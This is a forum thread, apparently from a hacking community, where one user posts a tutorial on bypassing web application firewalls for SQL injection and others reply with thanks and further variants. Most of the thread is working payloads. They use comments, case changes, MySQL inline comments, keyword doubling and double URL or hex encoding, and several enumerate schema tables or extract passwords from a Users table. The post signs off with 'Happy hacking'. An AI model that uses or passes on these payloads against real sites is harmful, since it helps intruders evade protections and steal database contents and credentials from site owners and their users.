[LiXon]

What is WAF?

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP
conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By
customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this
customization can be significant and needs to be maintained as the application is modified. ( Wikipedia )

How to know if there is a Web Application Firewall?

When you try to enter a command used for SQL Injections ( like "UNION SELECT" command ) you get an 403 Error ( "Forbidden or "Not Acceptable" ).

How to bypass WAF?

1. Comments

Code:

//, -- , /**/ , #, -+ , -- -, ;%00

2. Case Changing

Some WAF's will filter only lowercase attacks so we can easily evade this by case changing:

Code:

id=1+UnIoN/**/SeLeCT

3. Inline Comments:

Code:

id=1/*!UnIoN*/SeLeCT

If table_name or information_schema are filtered we can add more inline comments. So if a site filters
union,where,table_name , table_schema, = , information_schema our injection should be like :

Code:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/ +like+database()–

We can use "like" instead of " = " so the above code should bypass the filter.
Another way to use inline comments is by crafting a SQL statement using variables :

Code:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -

4.Replaced keywords

If we have a filter that replaces union select with whitespace, we could bypass that filter :

Code:

id=1+UNIunionON+SELselectECT+1,2,3--

5. Character encoding :

Code:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,3,4,password%252f%252a*/FROM%252f%252a*/Users–+

6. Replace characters with their HEX values:

We can replace some characters with their HEX (URL-Encoded) Values.

Code:

id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

(which means “union select”)

Others bypasses:

Code:

id=1+(UnIoN+SeLeCT)+ id=1+(UnI)(oN)+(SeL)(EcT) id=1+’UnI”On’+'SeL”ECT’ <-MySQL only id=1+'UnI'||'on'+SeLeCT' <-MSSQL only

Watch to this video to understand better the WAF, it really help.

For questions or issues reply to this topic or contact me. Happy hacking !

[The Alchemist]

Thanks for making such a nice tutorial on this. But, since I'm not very good at WAF bypassing, I'm having a confusion.
I didn't understand one thing, /**/ are supposed to be comment tags right?
So, as you said, we could use this in the URL :

Code:

id=1/*!UnIoN*/SeLeCT

The term UnIoN is within the comment tags. And whatever is within the comment tags doesn't get executed right? So, I'm confused about how this is supposed to get executed.

[LiXon]

Code:

/*!

This syntax of MySQL is for MySQL specific commands. It's intended for you to be able to write portable SQL (that can run on any database) and yet still be able to send MySQL special commands. If you put a code into this comments it’s going to execute in MySQL only.

Take a look here , you'll understand better

[pratham]

nice tutorial...

[LiXon]

nice tutorial...

You're welcome

[John Carter]

O. m . G :Thumbs-Up: , It's excellent post for SQLi Beginner . but that's WAF Quotes are Advance :Thumbs-Up: :Thumbs-Up:

[LiXon]

That was a wonderful tutorial.

I am a Root Administrator and very recently I tried to secure my website. With regards to my friends suggestion I though of using Comodo Web Application Firewall (https://waf.comodo.com/).

Have you heard about this and if yes can you kindly drop your suggestions.

Thanks in advance.

Hmm.. nope, but I think you can give it a try.

[RogueCoder]

Nice tutorial! Good to see some more manual tutorials and not just how to click a button One question: Which WAF's have you bypassed with these payloads?

In addition to the LIKE command try <> > < and BETWEEN

Code:

1<>2 1>0 2<1 2 BETWEEN 1 AND 3